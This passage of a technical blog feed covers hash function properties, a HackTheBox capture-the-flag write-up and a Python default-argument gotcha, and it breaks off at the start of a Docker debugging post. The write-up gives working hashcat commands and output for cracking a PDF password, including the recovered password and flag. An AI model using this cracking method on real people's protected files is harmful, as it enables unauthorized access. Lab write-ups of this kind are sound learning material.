class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">]:<\/span> <span class=\"o\">-<\/span><span class=\"mi\">7165618396328893146<\/span>\n<span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">2<\/span><span class=\"p\">]:<\/span> <span class=\"nb\">hash<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;foo&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">Out<\/span><span class=\"p\">[<\/span><span class=\"mi\">2<\/span><span class=\"p\">]:<\/span> <span class=\"o\">-<\/span><span class=\"mi\">7165618396328893146<\/span>\n<\/code><\/pre><\/div>\n\n<p>We can easily see that the string \"foo\" is mapped to the exact same value, which means the <code>hash()<\/code> function satisfies the deterministic property, however once we restart the Python process and try again with the same value, it is different. This is due to the fact that the seed value has changed. If we <em>reuse<\/em> the function in the same process again, we still get the same value. Similarly, imagine a mixer that changes the smoothies every time you turn it off and on again.<\/p>\n<h4>Pre-Image Resistance<\/h4>\n<p>Fancy name, easy concept. When given a hash value, it should not be feasible to infer the data that resulted in that value. The equivalent would be if an attacker tried to glue to smoothie back together to <em>the specific<\/em> fruit it was created from.<\/p>\n<p>The only possibility that an attacker should have is to try all potential inputs\u200a\u2014\u200awhere no input is more probable than the other one. This basically means that an attacker must not be able to gain any information from a given hash. In formal wording the result of a hash function is called an <em>image<\/em>. The input value resulting in that image (what comes before) is called the <em>pre-image<\/em>. Cryptographic hash functions must be robust against these kinds of pre-image attacks by making them unfeasible.<\/p>\n<h4>Correlation Resistance<\/h4>\n<p>This is often mistaken for pseudo-randomness or thrown in the mix with other concepts. The formal term here would be called the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Avalanche_effect\">Avalanche Effect<\/a>. This means that a slight change in the input (turning a 0 into a 1 in 20TB of data, or adding a slice of lemon to a ton of strawberries) should accumulate like in avalanche triggered by a small snowball and in the end result in the whole output being changed (and the whole smoothie tasting differently).<\/p>\n<p>From an attacker\u2019s standpoint, this makes it impossible to gain information by observing lots and lots of hashes (or checking out tons of smoothies). If there were a systematic change in the hashed data (or the smoothie always tasting a little more sour), an attacker could infer information on the input data. This would allow them to make predictions on the input data even though they only see the hashed output (slightly more sour smoothies). In the worst case this can completely break the function and allow an attacker to find the pre-image for a given hash. If you\u2019re interested in how this is avoided in practice, check out the beautiful field of chaos theory, especially the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Butterfly_effect\">Butterfly Effect<\/a>.<\/p>\n<h4>Collision Resistance<\/h4>\n<p>A hash collision is exactly what is sounds like: Somewhere behind the hash function a crash occurs. Specifically, this relates to two <em>different<\/em> messages resulting in the same hash (or two different ingredients resulting in the same smoothie). Most famously this is what happened to SHA-1 in February 2017 when some (really cool) researchers found such a collision (in itself not a big deal) and made it <a href=\"https:\/\/shattered.io\/\">practically usable<\/a> (really big deal).<\/p>\n<h4>Speed and Verifiability<\/h4>\n<p>We are still abstracting from concrete implementations here. The speed property relates more to the <a href=\"https:\/\/medium.freecodecamp.org\/my-first-foray-into-technology-c5b6e83fe8f1\">computational complexity<\/a> of the algorithm. Even for large amounts of data it should be quick to compute (making a smoothie from a ton of strawberries shouldn\u2019t be much slower than making a smoothie from just one). That\u2019s the way from our message to its hash value. On the other hand, let\u2019s say we have received a hash value and want to verify that a message we hold results in that hash. Easy: We can calculate the hash for our own message and compare it to the one we have received. Speed+Determinism=Verifiability.<\/p>\n<h4>A Short Note on Fixed-Length Output<\/h4>\n<p>This is often sold as a property of cryptographic hash functions. This might be up for debate between hardcore cryptographers, but I do not see anything against a hash function that outputs results of variable lengths. This would not eliminate any of the above properties (or the ones I have not mentioned here because I want to write a blog post, not a book). In fact, there even seem to be cryptographic hash functions realizing this behaviour, called <a href=\"https:\/\/keccak.team\/files\/CSF-0.1.pdf\">sponge functions<\/a>. I have just recently learned about this, however and I do not feel comfortable enough writing about it just yet.<\/p>\n<h4>To All Who Have Read Until Here in One\u00a0Go<\/h4>\n<p>You are either already familiar with cryptography or really eager learners. In any case, you might appreciate the free Coursera courses of Dan Boneh for <a href=\"https:\/\/www.coursera.org\/learn\/crypto\">Cryptography I<\/a> and <a href=\"https:\/\/www.coursera.org\/learn\/crypto2\">II<\/a>. They take a while and are kept quite academic, but there is nothing to be afraid of.<\/p>","category":{"@attributes":{"term":"Security"}}},{"title":"HackTheBox 0ld_is_g0ld","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2018\/10\/13\/hackthebox-0ld_is_g0ld.html","rel":"alternate"}},"published":"2018-10-13T00:00:00+02:00","updated":"2018-10-13T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2018-10-13:\/2018\/10\/13\/hackthebox-0ld_is_g0ld.html","summary":"<p>0ld_is_g0ld is a HackTheBox challenge and a great way for beginners to familiarize themselves with PDF password cracking. If you have used Hashcat before, it's an easy win. Verifying we indeed are targeting the correct file format:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>file<span class=\"w\"> <\/span>0ld<span class=\"se\">\\ <\/span>is<span class=\"se\">\\ <\/span>g0ld.pdf\n0ld<span class=\"w\"> <\/span>is<span class=\"w\"> <\/span>g0ld.pdf:<span class=\"w\"> <\/span>PDF<span class=\"w\"> <\/span>document,<span class=\"w\"> <\/span>version<span class=\"w\"> <\/span><span class=\"m\">1 \u2026<\/span><\/code><\/pre><\/div>","content":"<p>0ld_is_g0ld is a HackTheBox challenge and a great way for beginners to familiarize themselves with PDF password cracking. If you have used Hashcat before, it's an easy win. Verifying we indeed are targeting the correct file format:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>file<span class=\"w\"> <\/span>0ld<span class=\"se\">\\ <\/span>is<span class=\"se\">\\ <\/span>g0ld.pdf\n0ld<span class=\"w\"> <\/span>is<span class=\"w\"> <\/span>g0ld.pdf:<span class=\"w\"> <\/span>PDF<span class=\"w\"> <\/span>document,<span class=\"w\"> <\/span>version<span class=\"w\"> <\/span><span class=\"m\">1<\/span>.6\n<\/code><\/pre><\/div>\n\n<p>We can extract the hash using the <a href=\"https:\/\/github.com\/stricture\/hashstack-server-plugin-hashcat\/blob\/12fc138d2864026765f55bb33e3d7b859eb2b48a\/scrapers\/pdf2hashcat.py\">pdf2hashcat.py<\/a> util script:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>.\/pdf2hashcat.py 0ld\\ is\\ g0ld.pdf &gt; hash.txt\n<\/code><\/pre><\/div>\n\n<p>Now all that's left is run hashcat with a (large) wordlist against the hash file and with a little bit of luck we get a\nhit:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>hashcat<span class=\"w\"> <\/span>--force<span class=\"w\"> <\/span>-a<span class=\"w\"> <\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span>-m<span class=\"w\"> <\/span><span class=\"m\">10500<\/span><span class=\"w\"> <\/span>hash.txt<span class=\"w\"> <\/span>~\/Downloads\/rockyou.txt\n<span class=\"nv\">$pdf$4<\/span>*4*128*-1060*1*16*5c8f37d2a45eb64e9dbbf71ca3e86861*32*9cba5cfb1c536f1384bba7458aae3f8100000000000000000000000000000000*32*702cc7ced92b595274b7918dcb6dc74bedef6ef851b4b4b5b8c88732ba4dac0c:jumanji69\n\nSession..........:<span class=\"w\"> <\/span>hashcat\nStatus...........:<span class=\"w\"> <\/span>Cracked\nHash.Type........:<span class=\"w\"> <\/span>PDF<span class=\"w\"> <\/span><span class=\"m\">1<\/span>.4<span class=\"w\"> <\/span>-<span class=\"w\"> <\/span><span class=\"m\">1<\/span>.6<span class=\"w\"> <\/span><span class=\"o\">(<\/span>Acrobat<span class=\"w\"> <\/span><span class=\"m\">5<\/span><span class=\"w\"> <\/span>-<span class=\"w\"> <\/span><span class=\"m\">8<\/span><span class=\"o\">)<\/span>\nHash.Target......:<span class=\"w\"> <\/span><span class=\"nv\">$pdf$4<\/span>*4*128*-1060*1*16*5c8f37d2a45eb64e9dbbf71ca3e...4dac0c\nTime.Started.....:<span class=\"w\"> <\/span>Fri<span class=\"w\"> <\/span>Oct<span class=\"w\"> <\/span><span class=\"m\">12<\/span><span class=\"w\"> <\/span><span class=\"m\">18<\/span>:39:19<span class=\"w\"> <\/span><span class=\"m\">2018<\/span><span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>min,<span class=\"w\"> <\/span><span class=\"m\">12<\/span><span class=\"w\"> <\/span>secs<span class=\"o\">)<\/span>\nTime.Estimated...:<span class=\"w\"> <\/span>Fri<span class=\"w\"> <\/span>Oct<span class=\"w\"> <\/span><span class=\"m\">12<\/span><span class=\"w\"> <\/span><span class=\"m\">18<\/span>:40:31<span class=\"w\"> <\/span><span class=\"m\">2018<\/span><span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span>secs<span class=\"o\">)<\/span>\nGuess.Base.......:<span class=\"w\"> <\/span>File<span class=\"w\"> <\/span><span class=\"o\">(<\/span>\/home\/spoons\/Downloads\/rockyou.txt<span class=\"o\">)<\/span>\nGuess.Queue......:<span class=\"w\"> <\/span><span class=\"m\">1<\/span>\/1<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">100<\/span>.00%<span class=\"o\">)<\/span>\nSpeed.Dev.#1.....:<span class=\"w\">    <\/span><span class=\"m\">94514<\/span><span class=\"w\"> <\/span>H\/s<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">8<\/span>.25ms<span class=\"o\">)<\/span>\nRecovered........:<span class=\"w\"> <\/span><span class=\"m\">1<\/span>\/1<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">100<\/span>.00%<span class=\"o\">)<\/span><span class=\"w\"> <\/span>Digests,<span class=\"w\"> <\/span><span class=\"m\">1<\/span>\/1<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">100<\/span>.00%<span class=\"o\">)<\/span><span class=\"w\"> <\/span>Salts\nProgress.........:<span class=\"w\"> <\/span><span class=\"m\">6820961<\/span>\/14344384<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">47<\/span>.55%<span class=\"o\">)<\/span>\nRejected.........:<span class=\"w\"> <\/span><span class=\"m\">1121<\/span>\/6820961<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">0<\/span>.02%<span class=\"o\">)<\/span>\nRestore.Point....:<span class=\"w\"> <\/span><span class=\"m\">6816865<\/span>\/14344384<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">47<\/span>.52%<span class=\"o\">)<\/span>\nCandidates.#1....:<span class=\"w\"> <\/span>june261999<span class=\"w\"> <\/span>-&gt;<span class=\"w\"> <\/span>jumane\nHWMon.Dev.#1.....:<span class=\"w\"> <\/span>N\/A\n\nStarted:<span class=\"w\"> <\/span>Fri<span class=\"w\"> <\/span>Oct<span class=\"w\"> <\/span><span class=\"m\">12<\/span><span class=\"w\"> <\/span><span class=\"m\">18<\/span>:39:16<span class=\"w\"> <\/span><span class=\"m\">2018<\/span>\nStopped:<span class=\"w\"> <\/span>Fri<span class=\"w\"> <\/span>Oct<span class=\"w\"> <\/span><span class=\"m\">12<\/span><span class=\"w\"> <\/span><span class=\"m\">18<\/span>:40:32<span class=\"w\"> <\/span><span class=\"m\">2018<\/span>\n<\/code><\/pre><\/div>\n\n<p>This leaves us with <code>jumanji69<\/code> as the password. Nice. We decrypt the PDF using the password and are presented with this:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/hackthebox-0ld_is_g0ld-write-up\/1099778526.png\" data-pswp-width=\"706\" data-pswp-height=\"1002\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-0ld_is_g0ld-write-up\/1099778526.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Note the tiny morse code at the bottom of the page:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>.-. .---- .--. ... .- -- ..- ...-- .-.. -- ----- .-. ... ...--\n<\/code><\/pre><\/div>\n\n<p>Decoding this with any old online tool gives us <code>R1PSAMU3LM0RS3<\/code>, which is the flag for this challenge.<\/p>","category":{"@attributes":{"term":"Challenges"}}},{"title":"The Thing about Mutable Default Arguments in Python","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2018\/10\/10\/the-thing-about-mutable-default-arguments-in-python.html","rel":"alternate"}},"published":"2018-10-10T00:00:00+02:00","updated":"2018-10-10T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2018-10-10:\/2018\/10\/10\/the-thing-about-mutable-default-arguments-in-python.html","summary":"<p>Yesterday I stumbled across some code like this...<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"k\">def<\/span> <span class=\"nf\">search_children<\/span><span class=\"p\">(<\/span><span class=\"n\">statespace<\/span><span class=\"p\">,<\/span> <span class=\"n\">node<\/span><span class=\"p\">,<\/span> <span class=\"n\">start_index<\/span><span class=\"o\">=<\/span><span class=\"mi\">0<\/span><span class=\"p\">,<\/span> <span class=\"n\">depth<\/span><span class=\"o\">=<\/span><span class=\"mi\">0<\/span><span class=\"p\">,<\/span> <span class=\"n\">results<\/span><span class=\"o\">=<\/span><span class=\"p\">[]):<\/span>\n    <span class=\"k\">if<\/span> <span class=\"n\">depth<\/span> <span class=\"o\">&lt;<\/span> <span class=\"n\">MAX_SEARCH_DEPTH<\/span><span class=\"p\">:<\/span>\n        <span class=\"n\">n_states<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">len<\/span><span class=\"p\">(<\/span><span class=\"n\">node<\/span><span class=\"o\">.<\/span><span class=\"n\">states<\/span><span class=\"p\">)<\/span>\n        <span class=\"k\">if<\/span> <span class=\"n\">n_states<\/span> <span class=\"o\">&gt;<\/span> <span class=\"n\">start_index<\/span><span class=\"p\">:<\/span>\n            <span class=\"k\">for<\/span> <span class=\"n\">j<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">range<\/span><span class=\"p\">(<\/span><span class=\"n\">start_index<\/span><span class=\"p\">,<\/span> <span class=\"n\">n_states<\/span><span class=\"p\">):<\/span>\n                <span class=\"k\">if<\/span> <span class=\"n\">node<\/span><span class=\"o\">.<\/span><span class=\"n\">states<\/span><span class=\"p\">[<\/span><span class=\"n\">j<\/span><span class=\"p\">]<\/span><span class=\"o\">.<\/span><span class=\"n\">get_current_instruction<\/span><span class=\"p\">()[<\/span><span class=\"s1\">&#39;opcode&#39;<\/span><span class=\"p\">]<\/span> <span class=\"o\">==<\/span> <span class=\"s1\">&#39;SSTORE&#39;<\/span><span class=\"p\">:<\/span>\n                  <span class=\"n\">results<\/span><span class=\"o\">.<\/span><span class=\"n\">append<\/span><span class=\"p\">(<\/span><span class=\"n\">node<\/span><span class=\"o\">.<\/span><span class=\"n\">states<\/span><span class=\"p\">[<\/span><span class=\"n\">j<\/span><span class=\"p\">]<\/span><span class=\"o\">.<\/span><span class=\"n\">get_current_instruction<\/span><span class=\"p\">()[<\/span><span class=\"s1\">&#39;address&#39;<\/span><span class=\"p\">])<\/span>\n    <span class=\"o\">...<\/span>\n<\/code><\/pre><\/div>\n\n<p>The semantics of \u2026<\/p>","content":"<p>Yesterday I stumbled across some code like this...<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"k\">def<\/span> <span class=\"nf\">search_children<\/span><span class=\"p\">(<\/span><span class=\"n\">statespace<\/span><span class=\"p\">,<\/span> <span class=\"n\">node<\/span><span class=\"p\">,<\/span> <span class=\"n\">start_index<\/span><span class=\"o\">=<\/span><span class=\"mi\">0<\/span><span class=\"p\">,<\/span> <span class=\"n\">depth<\/span><span class=\"o\">=<\/span><span class=\"mi\">0<\/span><span class=\"p\">,<\/span> <span class=\"n\">results<\/span><span class=\"o\">=<\/span><span class=\"p\">[]):<\/span>\n    <span class=\"k\">if<\/span> <span class=\"n\">depth<\/span> <span class=\"o\">&lt;<\/span> <span class=\"n\">MAX_SEARCH_DEPTH<\/span><span class=\"p\">:<\/span>\n        <span class=\"n\">n_states<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">len<\/span><span class=\"p\">(<\/span><span class=\"n\">node<\/span><span class=\"o\">.<\/span><span class=\"n\">states<\/span><span class=\"p\">)<\/span>\n        <span class=\"k\">if<\/span> <span class=\"n\">n_states<\/span> <span class=\"o\">&gt;<\/span> <span class=\"n\">start_index<\/span><span class=\"p\">:<\/span>\n            <span class=\"k\">for<\/span> <span class=\"n\">j<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">range<\/span><span class=\"p\">(<\/span><span class=\"n\">start_index<\/span><span class=\"p\">,<\/span> <span class=\"n\">n_states<\/span><span class=\"p\">):<\/span>\n                <span class=\"k\">if<\/span> <span class=\"n\">node<\/span><span class=\"o\">.<\/span><span class=\"n\">states<\/span><span class=\"p\">[<\/span><span class=\"n\">j<\/span><span class=\"p\">]<\/span><span class=\"o\">.<\/span><span class=\"n\">get_current_instruction<\/span><span class=\"p\">()[<\/span><span class=\"s1\">&#39;opcode&#39;<\/span><span class=\"p\">]<\/span> <span class=\"o\">==<\/span> <span class=\"s1\">&#39;SSTORE&#39;<\/span><span class=\"p\">:<\/span>\n                  <span class=\"n\">results<\/span><span class=\"o\">.<\/span><span class=\"n\">append<\/span><span class=\"p\">(<\/span><span class=\"n\">node<\/span><span class=\"o\">.<\/span><span class=\"n\">states<\/span><span class=\"p\">[<\/span><span class=\"n\">j<\/span><span class=\"p\">]<\/span><span class=\"o\">.<\/span><span class=\"n\">get_current_instruction<\/span><span class=\"p\">()[<\/span><span class=\"s1\">&#39;address&#39;<\/span><span class=\"p\">])<\/span>\n    <span class=\"o\">...<\/span>\n<\/code><\/pre><\/div>\n\n<p>The semantics of the code don\u2019t really matter here. Still spot the bug? It\u2019s a very common Python gotcha that even experienced developers overlook from time to time. Look at the function header. The result list. Maybe a small example playing around will help here:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">9<\/span><span class=\"p\">]:<\/span> <span class=\"k\">def<\/span> <span class=\"nf\">append_to_list<\/span><span class=\"p\">(<\/span><span class=\"n\">value<\/span><span class=\"p\">,<\/span> <span class=\"n\">l<\/span><span class=\"o\">=<\/span><span class=\"p\">[]):<\/span>\n   <span class=\"o\">...<\/span><span class=\"p\">:<\/span>     <span class=\"n\">l<\/span><span class=\"o\">.<\/span><span class=\"n\">append<\/span><span class=\"p\">(<\/span><span class=\"n\">value<\/span><span class=\"p\">)<\/span>\n   <span class=\"o\">...<\/span><span class=\"p\">:<\/span>     <span class=\"k\">return<\/span> <span class=\"n\">l<\/span>\n   <span class=\"o\">...<\/span><span class=\"p\">:<\/span>\n\n<span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">10<\/span><span class=\"p\">]:<\/span> <span class=\"n\">append_to_list<\/span><span class=\"p\">(<\/span><span class=\"mi\">42<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">Out<\/span><span class=\"p\">[<\/span><span class=\"mi\">10<\/span><span class=\"p\">]:<\/span> <span class=\"p\">[<\/span><span class=\"mi\">42<\/span><span class=\"p\">]<\/span>\n\n<span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">11<\/span><span class=\"p\">]:<\/span> <span class=\"n\">append_to_list<\/span><span class=\"p\">(<\/span><span class=\"mi\">1337<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">Out<\/span><span class=\"p\">[<\/span><span class=\"mi\">11<\/span><span class=\"p\">]:<\/span> <span class=\"p\">[<\/span><span class=\"mi\">42<\/span><span class=\"p\">,<\/span> <span class=\"mi\">1337<\/span><span class=\"p\">]<\/span>\n<\/code><\/pre><\/div>\n\n<p>Setting the default argument you would normally expect to have an empty list every time you enter the function. However, as StackOverflow user <a href=\"https:\/\/stackoverflow.com\/questions\/32326777\/python-default-arguments-evaluation\">skyking<\/a> points out, this is not the case. Default arguments in Python are evaluated once, when the function is declared.<\/p>\n<p>This means that when interpreting the <code>def<\/code> statement, a new list is created and exactly <em>that<\/em> list is then passed to the function every time it is called. Basically we\u2019re always working on the same list pointer. This also applies to objects:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">3<\/span><span class=\"p\">]:<\/span> <span class=\"k\">class<\/span> <span class=\"nc\">Foo<\/span><span class=\"p\">(<\/span><span class=\"nb\">object<\/span><span class=\"p\">):<\/span>\n   <span class=\"o\">...<\/span><span class=\"p\">:<\/span>     <span class=\"k\">def<\/span> <span class=\"fm\">__init__<\/span><span class=\"p\">(<\/span><span class=\"bp\">self<\/span><span class=\"p\">,<\/span> <span class=\"n\">default_list<\/span><span class=\"o\">=<\/span><span class=\"p\">[]):<\/span>\n   <span class=\"o\">...<\/span><span class=\"p\">:<\/span>         <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">my_list<\/span> <span class=\"o\">=<\/span> <span class=\"n\">default_list<\/span>\n   <span class=\"o\">...<\/span><span class=\"p\">:<\/span>     <span class=\"k\">def<\/span> <span class=\"nf\">append<\/span><span class=\"p\">(<\/span><span class=\"bp\">self<\/span><span class=\"p\">,<\/span> <span class=\"n\">v<\/span><span class=\"p\">):<\/span>\n   <span class=\"o\">...<\/span><span class=\"p\">:<\/span>         <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">my_list<\/span><span class=\"o\">.<\/span><span class=\"n\">append<\/span><span class=\"p\">(<\/span><span class=\"n\">v<\/span><span class=\"p\">)<\/span>\n   <span class=\"o\">...<\/span><span class=\"p\">:<\/span>\n<span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">4<\/span><span class=\"p\">]:<\/span> <span class=\"n\">f<\/span> <span class=\"o\">=<\/span> <span class=\"n\">Foo<\/span><span class=\"p\">()<\/span>\n\n<span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">5<\/span><span class=\"p\">]:<\/span> <span class=\"n\">f<\/span><span class=\"o\">.<\/span><span class=\"n\">append<\/span><span class=\"p\">(<\/span><span class=\"mi\">42<\/span><span class=\"p\">)<\/span>\n\n<span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">6<\/span><span class=\"p\">]:<\/span> <span class=\"n\">f<\/span><span class=\"o\">.<\/span><span class=\"n\">my_list<\/span>\n<span class=\"n\">Out<\/span><span class=\"p\">[<\/span><span class=\"mi\">6<\/span><span class=\"p\">]:<\/span> <span class=\"p\">[<\/span><span class=\"mi\">42<\/span><span class=\"p\">]<\/span>\n\n<span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">7<\/span><span class=\"p\">]:<\/span> <span class=\"n\">f2<\/span> <span class=\"o\">=<\/span> <span class=\"n\">Foo<\/span><span class=\"p\">()<\/span>\n\n<span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">8<\/span><span class=\"p\">]:<\/span> <span class=\"n\">f2<\/span><span class=\"o\">.<\/span><span class=\"n\">append<\/span><span class=\"p\">(<\/span><span class=\"mi\">1337<\/span><span class=\"p\">)<\/span>\n\n<span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">9<\/span><span class=\"p\">]:<\/span> <span class=\"n\">f2<\/span><span class=\"o\">.<\/span><span class=\"n\">my_list<\/span>\n<span class=\"n\">Out<\/span><span class=\"p\">[<\/span><span class=\"mi\">9<\/span><span class=\"p\">]:<\/span> <span class=\"p\">[<\/span><span class=\"mi\">42<\/span><span class=\"p\">,<\/span> <span class=\"mi\">1337<\/span><span class=\"p\">]<\/span>\n<\/code><\/pre><\/div>\n\n<p>This fact can introduce some subtle bugs where lists contain elements that don\u2019t belong in them as global usage of functions or objects work on the same data structure.<\/p>\n<h4>Reasons for that Behaviour<\/h4>\n<p>Think about it from the standpoint of a Python core developer. You could of course save a chunk of code for evaluating the default parameters. However, that code would be run with every function call if no argument is passed to it. Furthermore, someone has to manage the memory. If you evaluate your default arguments once, you can already allocate the necessary RAM they will use. Otherwise, you would also have to manage that with every default call.<\/p>\n<p>You can even decide when your parameter variable is bound. An early binding (evaluated on the definition of the function\/method) is the default. In scenarios where you want a late binding, simply evaluate the parameter in the function body.  If it wasn\u2019t like that, but parameters would always be evaluated when the function is called, you would be forced to stick with that behaviour\u2014 at the cost of flexibility and performance.<\/p>\n<p>The only trade-off is that users have to be conscious about this kind of power the language gives them. For sure some programmers who are used to other languages may find it unintuitive when seeing it for the first time.<\/p>\n<h4>Valid Uses<\/h4>\n<p>Ages ago Fredrik Lundh <a href=\"http:\/\/effbot.org\/zone\/default-values.htm\">wrote a decent article on this<\/a> where some valid uses are explained\u200a\u2014\u200astill using some old Python syntax. Personally I find those uses lacking in readability and hard to maintain. If you need a cache, just explicitly write one and don\u2019t use the implicit evaluation behaviour of Python. Still, it\u2019s good knowledge! And it also mentions a pattern that is still valid today and the fix for our above-mentioned code snippet...<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"k\">def<\/span> <span class=\"nf\">search_children<\/span><span class=\"p\">(<\/span><span class=\"n\">statespace<\/span><span class=\"p\">,<\/span> <span class=\"n\">node<\/span><span class=\"p\">,<\/span> <span class=\"n\">start_index<\/span><span class=\"o\">=<\/span><span class=\"mi\">0<\/span><span class=\"p\">,<\/span> <span class=\"n\">depth<\/span><span class=\"o\">=<\/span><span class=\"mi\">0<\/span><span class=\"p\">,<\/span> <span class=\"n\">results<\/span><span class=\"o\">=<\/span><span class=\"kc\">None<\/span><span class=\"p\">):<\/span>\n    <span class=\"k\">if<\/span> <span class=\"n\">results<\/span> <span class=\"ow\">is<\/span> <span class=\"kc\">None<\/span><span class=\"p\">:<\/span>\n        <span class=\"n\">results<\/span> <span class=\"o\">=<\/span> <span class=\"p\">[]<\/span>\n    <span class=\"k\">if<\/span> <span class=\"n\">depth<\/span> <span class=\"o\">&lt;<\/span> <span class=\"n\">MAX_SEARCH_DEPTH<\/span><span class=\"p\">:<\/span>\n        <span class=\"n\">n_states<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">len<\/span><span class=\"p\">(<\/span><span class=\"n\">node<\/span><span class=\"o\">.<\/span><span class=\"n\">states<\/span><span class=\"p\">)<\/span>\n        <span class=\"k\">if<\/span> <span class=\"n\">n_states<\/span> <span class=\"o\">&gt;<\/span> <span class=\"n\">start_index<\/span><span class=\"p\">:<\/span>\n            <span class=\"k\">for<\/span> <span class=\"n\">j<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">range<\/span><span class=\"p\">(<\/span><span class=\"n\">start_index<\/span><span class=\"p\">,<\/span> <span class=\"n\">n_states<\/span><span class=\"p\">):<\/span>\n                <span class=\"k\">if<\/span> <span class=\"n\">node<\/span><span class=\"o\">.<\/span><span class=\"n\">states<\/span><span class=\"p\">[<\/span><span class=\"n\">j<\/span><span class=\"p\">]<\/span><span class=\"o\">.<\/span><span class=\"n\">get_current_instruction<\/span><span class=\"p\">()[<\/span><span class=\"s1\">&#39;opcode&#39;<\/span><span class=\"p\">]<\/span> <span class=\"o\">==<\/span> <span class=\"s1\">&#39;SSTORE&#39;<\/span><span class=\"p\">:<\/span>\n                  <span class=\"n\">results<\/span><span class=\"o\">.<\/span><span class=\"n\">append<\/span><span class=\"p\">(<\/span><span class=\"n\">node<\/span><span class=\"o\">.<\/span><span class=\"n\">states<\/span><span class=\"p\">[<\/span><span class=\"n\">j<\/span><span class=\"p\">]<\/span><span class=\"o\">.<\/span><span class=\"n\">get_current_instruction<\/span><span class=\"p\">()[<\/span><span class=\"s1\">&#39;address&#39;<\/span><span class=\"p\">])<\/span>\n    <span class=\"o\">...<\/span>\n<\/code><\/pre><\/div>\n\n<p>Just evaluate the default parameter value in the function body. Late binding.\u00a0:)<\/p>","category":{"@attributes":{"term":"Software"}}},{"title":"Low-level Debugging of Stubborn Docker Containers","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2018\/09\/16\/low-level-debugging-of-stubborn-docker-containers.html","rel":"alternate"}},"published":"2018-09-16T00:00:00+02:00","updated":"2018-09-16T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2018-09-16:\/2018\/09\/16\/low-level-debugging-of-stubborn-docker-containers.html","summary":"<p>A few weeks back I have started contributing to the awesome <a href=\"https:\/\/github.com\/ConsenSys\/mythril\">Mythril<\/a> project. Mythril is a security scanner for smart contracts that allows everyone to look for vulnerabilities on- and off-chain by being able to analyze raw smart contract code, as well as the actual Solidity code file. To make \u2026<\/p>","content":"<p>A few weeks back I have started contributing to the awesome <a href=\"https:\/\/github.com\/ConsenSys\/mythril\">Mythril<\/a> project. Mythril is a security scanner for smart contracts that allows everyone to look for vulnerabilities on- and off-chain by being able to analyze raw smart contract code, as well as the actual Solidity code file. To make setting it up more easy, the devs provide a Docker container for easy deployment and use via <code>docker run<\/code>\u00a0.<\/p>\n<p>Looking for low-hanging fruits to start, I instinctively picked out an issue related to Docker, as there\u2019s little new things about debugging containers. <a href=\"https:\/\/github.com\/ConsenSys\/mythril\/issues\/479\">Issue 479<\/a> described Mythril crashing with a Unicode decode error\u200a\u2014\u200abut it was only reproducible with the Docker container:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>sudo<span class=\"w\"> <\/span>docker<span class=\"w\"> <\/span>run<span class=\"w\"> <\/span>-v<span class=\"w\"> <\/span><span class=\"k\">$(<\/span><span class=\"nb\">pwd<\/span><span class=\"k\">)<\/span>:\/tmp<span class=\"w\"> <\/span>mythril\/myth<span class=\"w\"> 